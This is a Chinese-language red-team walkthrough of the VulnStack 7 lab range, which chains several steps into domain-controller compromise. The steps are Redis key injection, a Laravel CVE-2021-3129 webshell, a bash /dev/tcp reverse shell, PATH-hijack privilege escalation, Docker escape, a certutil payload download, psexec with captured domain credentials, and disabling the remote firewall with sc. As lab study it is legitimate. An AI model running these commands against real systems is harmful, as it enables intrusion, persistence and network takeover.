VulnStack-红队实战(七)

前言

  这套靶场打下来也不是太难,至少学到了环境变量提权知识,靶机下载环境搭建

网络拓扑图

信息搜集

  nmap扫描结果

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.4 (Ubuntu Linux; protocol 2.0)
80/tcp   open  http    nginx 1.14.0 (Ubuntu)
81/tcp   open  http    nginx 1.14.0 (Ubuntu)
6379/tcp open  redis   Redis key-value store 2.8.17

  无法访问80,81端口是个Laravel v8.29.0 (PHP v7.4.14),先放一放
  

redis未授权访问

  这不有个redis嘛,直接就连接上了
  
  那就用ssh公钥登录,来到kali先生成ssh公钥ssh-keygen,一路回车生成公钥
  
  cat /root/.ssh/id_rsa.pub,记下公钥内容

ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC6C3bAhxOGrEi3SCnJJO+EkGEFWEXnp07DlnsYPnpe3l+7Lqco88dYGdmAkhZgLaODkBhsPhJimklDDjY6xj9+NQ3Nm/tV3X+cnUjjqJUiLJVXPO0a4007nRrzDxdjmBY7awzEbZUzcA/u66y6tGtqNJjI+Dxc73p7U3SHFu6DTUx7dQYbgwLGzu2hvzKdW5MaTzFuGUo4GLGTVnPXUb+hPts+kJiKE3niig7EXFVD3sRSp03fsbOD61/iwSjrK9oboOQCcSeZtFN3tRLRCSUG5Y3TO5eRiKC+n+j4e3+gLmcj28zYFc1j3zul2+lH3BgBnhoIKvD6phoxRPkdvDITopSKTdnLjt4/PPMu5Jd+uobVsDEPbQKclrQIqhYEZ5ywYZFDUBe6J2h4xkOD2OtPqCwHpF1HR0W7N8mGn/c8cklAr/yrMaZ1rwEOJ9U9Itl8KFRgf2duTDAxAR/K7XIoEVjKIjtmO4PiloGm6LXVjXn1N1j6W0feTppcDamtV4s= root@kali

  redis执行下面命令,set x 前后都要使用多个\n,因为写入的时候包含了redis等信息

config set dir /root/.ssh/
config set dbfilename authorized_keys
set x "\n\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC6C3bAhxOGrEi3SCnJJO+EkGEFWEXnp07DlnsYPnpe3l+7Lqco88dYGdmAkhZgLaODkBhsPhJimklDDjY6xj9+NQ3Nm/tV3X+cnUjjqJUiLJVXPO0a4007nRrzDxdjmBY7awzEbZUzcA/u66y6tGtqNJjI+Dxc73p7U3SHFu6DTUx7dQYbgwLGzu2hvzKdW5MaTzFuGUo4GLGTVnPXUb+hPts+kJiKE3niig7EXFVD3sRSp03fsbOD61/iwSjrK9oboOQCcSeZtFN3tRLRCSUG5Y3TO5eRiKC+n+j4e3+gLmcj28zYFc1j3zul2+lH3BgBnhoIKvD6phoxRPkdvDITopSKTdnLjt4/PPMu5Jd+uobVsDEPbQKclrQIqhYEZ5ywYZFDUBe6J2h4xkOD2OtPqCwHpF1HR0W7N8mGn/c8cklAr/yrMaZ1rwEOJ9U9Itl8KFRgf2duTDAxAR/K7XIoEVjKIjtmO4PiloGm6LXVjXn1N1j6W0feTppcDamtV4s= root@kali\n\n\n"
save

  ssh root@192.168.2.183,免密登录成功
  
  获取到内网ip为: 192.168.52.10 使用fscan进行扫描,整理下信息
  

192.168.52.30 
主机名 WHOAMIANONY\PC1
可能存在ms17-010
http://192.168.52.30:8080 通达OA

192.168.52.20
http://192.168.52.20:8000 Laravel

  使用Stowaway搞好socks5代理,这不和前面的81端口一模一样嘛
  

CVE-2021-3129

  出现这种情况,有两种可能。1.真的部署了两个一模一样的环境。2.使用了Nginx反向代理。不管是那种,先拿下一台再说。
  我先搞81端口的那台,通过dirsearch只扫描出了一个目录为_ignition/execute-solution
  访问后,暴露出调试信息,并且有192.168.52.20:8000,说明是用了Nginx反向代理
  
  谷歌搜索_ignition/execute-solution,存在CVE-2021-3129。这里卡了我3个小时,老是没有利用成功,最后重装靶机才好的。
  
  使用Laravel_CVE-2021-3129_EXP,并把里面的Laravel_CVE-2021-3129_EXP.py移到前面下载的CVE-2021-3129文件夹中去,因为要用到phpggc这个文件。
  
  python Laravel_CVE-2021-3129_EXP.py "system('ls');",能执行命令
  
  将<?php @eval($_POST['whoami']);?>用base64加密后,写入木马

python Laravel_CVE-2021-3129_EXP.py "system('echo PD9waHAgQGV2YWwoJF9QT1NUWyd3aG9hbWknXSk7Pz4= | base64 -d > 1.php');"

  

docker逃逸

  无法查看IP地址,cat /proc/1/cgroup判断是在docker里面
  
  来到/home/jobs,存在shell文件,并且是root组,执行后是ps命令
  
  demo.c 内容如下

#include <unistd.h>
void main()
{
	setuid(0);
	setgid(0);
	system("ps");
}

  可以使用环境变量进行提权,不过先要反弹一个shell过来
  因为无法直接反弹到kali上,所以到ubuntu上开启nc监听,在回到蚁剑执行bash -c 'exec bash -i >& /dev/tcp/192.168.52.10/4444 0>&1'。可拿到一个反弹shell
  
  继续执行以下命令

cd /tmp
echo "/bin/bash" > ps
chmod 777 ps
echo $PATH
export PATH=/tmp:$PATH # 将/tmp添加到环境变量中,并且先加载执行/tmp里的程序
cd /home/jobs
./shell

  成功提权为root
  
  进行目录挂载

fdisk -l # 查看分区
mkdir /test
mount /dev/sda1 /test # 将/dev/sda1挂载到/test目录里
ls /test # 查看物理机下的内容

  
  继续信息搜集,找到了密码cat /test/home/ubuntu/password
  
  如果没有密码,可以使用ssh公钥登录,也和上面的redis公钥登录原理一样,docker执行下面命令

cp -avx /test/home/ubuntu/.ssh/id_rsa.pub /test/home/ubuntu/.ssh/authorized_keys
echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC6C3bAhxOGrEi3SCnJJO+EkGEFWEXnp07DlnsYPnpe3l+7Lqco88dYGdmAkhZgLaODkBhsPhJimklDDjY6xj9+NQ3Nm/tV3X+cnUjjqJUiLJVXPO0a4007nRrzDxdjmBY7awzEbZUzcA/u66y6tGtqNJjI+Dxc73p7U3SHFu6DTUx7dQYbgwLGzu2hvzKdW5MaTzFuGUo4GLGTVnPXUb+hPts+kJiKE3niig7EXFVD3sRSp03fsbOD61/iwSjrK9oboOQCcSeZtFN3tRLRCSUG5Y3TO5eRiKC+n+j4e3+gLmcj28zYFc1j3zul2+lH3BgBnhoIKvD6phoxRPkdvDITopSKTdnLjt4/PPMu5Jd+uobVsDEPbQKclrQIqhYEZ5ywYZFDUBe6J2h4xkOD2OtPqCwHpF1HR0W7N8mGn/c8cklAr/yrMaZ1rwEOJ9U9Itl8KFRgf2duTDAxAR/K7XIoEVjKIjtmO4PiloGm6LXVjXn1N1j6W0feTppcDamtV4s= root@kali'  > /test/home/ubuntu/.ssh/authorized_keys

  将kali的公钥写进后,使用proxychains ssh ubuntu@192.168.52.20,免密登录成功
  
  还有一种方法是,将kali生成的root账号和密码分别追加到靶机的/etc/passwd/etc/shadow文件中。之后就可以使用密码进行登录

通达OA漏洞

  访问前面已经扫到的http://192.168.52.30:8080,是个通达oa
  
  具体漏洞利用,看这篇文章吧,通达OA前台任意用户登录漏洞+RCE漏洞复现。我这里讲下使用未授权文件上传+文件包含拿shell
  成功执行whoami命令
  
  使用tasklist发现无杀软,dir,得到路径C:\MYOA\webroot\ispirit\interface
  
  本来想直接写一句话木马进去的,发现命令中有单引号,无法正常执行,而且dir c:\也无法正常执行
  探测出网情况,能ping通192.168.52.10
  
  做个正向连接的木马,传到192.168.52.10上后,用python开启http服务 python3 -m http.server 8000
  使用certutil进行木马的下载

certutil.exe -urlcache -split -f http://192.168.52.10:8000/shell.exe C:\MYOA\webroot\ispirit\interface\shell.exe

  
  等了差不多一分钟,下载完成,并且192.168.52.10也收到下载请求
  

  msf开启全局代理setg Proxies socks5:127.0.0.1:4455,执行上线
  
  真心建议内网渗透移到cs,但目前来说cs对linux的支持真心不友好

横向移动

  进行了下信息收集内网 ip地址为 192.168.93.20,域名whoamianony.org
  

192.168.93.30
dc机  主机名:WHOAMIANONY\DC
192.168.93.40
可能存在ms17-010 主机名:WHOAMIANONY\PC2

  抓到域控用户名:Administrator 密码:Whoami2021
  
  记得添加路由run post/multi/manage/autoroute,之后回到msf,批量传psexec

use exploit/windows/smb/psexec
set smbuser Administrator
set smbpass Whoami2021
set smbdomain whoamianony
set rhosts 192.168.93.30 192.168.93.40
run

  只得到了192.168.93.40的session,而192.168.93.30认证成功,却没有得到session
  
  这种情况多半是有防火墙,来到pc1上,先切换成WHOAMIANONY\Administrator用户
  
  dir \\192.168.93.30\c$,可以查看dc上的文件
  
  使用sc来关闭防火墙

sc \\192.168.93.30 create bindshell binpath= "netsh advfirewall set allprofiles state off"
sc \\192.168.93.30 start bindshell

  虽然提示未响应,但不影响,其实防火墙已经被关闭了
  
  再次执行psexec,得到session
  
  打靶结束,下次带来vulnstack5。

查看评论 -
评论